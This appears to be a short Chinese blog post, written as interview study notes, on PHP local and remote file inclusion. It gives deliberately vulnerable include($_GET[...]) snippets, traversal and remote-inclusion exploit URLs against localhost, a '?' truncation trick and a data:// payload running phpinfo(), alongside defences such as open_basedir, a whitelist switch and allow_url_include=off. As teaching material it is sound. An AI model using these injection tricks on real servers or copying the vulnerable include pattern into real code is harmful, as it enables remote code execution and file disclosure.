由头：面试的时候被问到了，有些东西还是实践的太少，写此博客记录一下。
php文件包含函数：
include()
require()
include_once()
require_once()
本地文件包含：
include($_GET['test']);
?>
exploit：
包含当前目录的 lfi.txt(内容为<?php phpinfo();?>)：
跨目录包含：
http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上层目录的lfi.txt文件
http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含内层目录的lfi.txt文件
防御：
防止跨目录：
在php.ini中设置open_basedir
open_basedir = C:\Program Files\phpStudy\WWW\lfi #限制在当前目录下(包括子目录)
open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #限制在当前目录下(不包括子目录)
防止本地文件包含：
使用枚举
$file =$_GET['test'];
switch ($file) {
case 'lfi.txt':
include('./lfi.txt');
break;
default:
include('./notexists.txt');
break;
}
?>
远程文件包含：
include($_GET['file'].'txt');
?>
exploit:
http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?
技巧：？被解释成url中的querystring，可用来在 远程文件包含 时 截断 代码中后面内容。
防御：
php.ini配置文件里allow_url_include=off
文件包含利用技巧：
1.远程文件包含时 利用 data:// (>5.2.0) 或者 input://协议
/rfi.php?file=data:text/plain,<?php %20phpinfo();?>
如果觉得《php本地文件包含 截断 php本地文件包含远程文件包含》对你有帮助，请点赞、收藏，并留下你的观点哦！
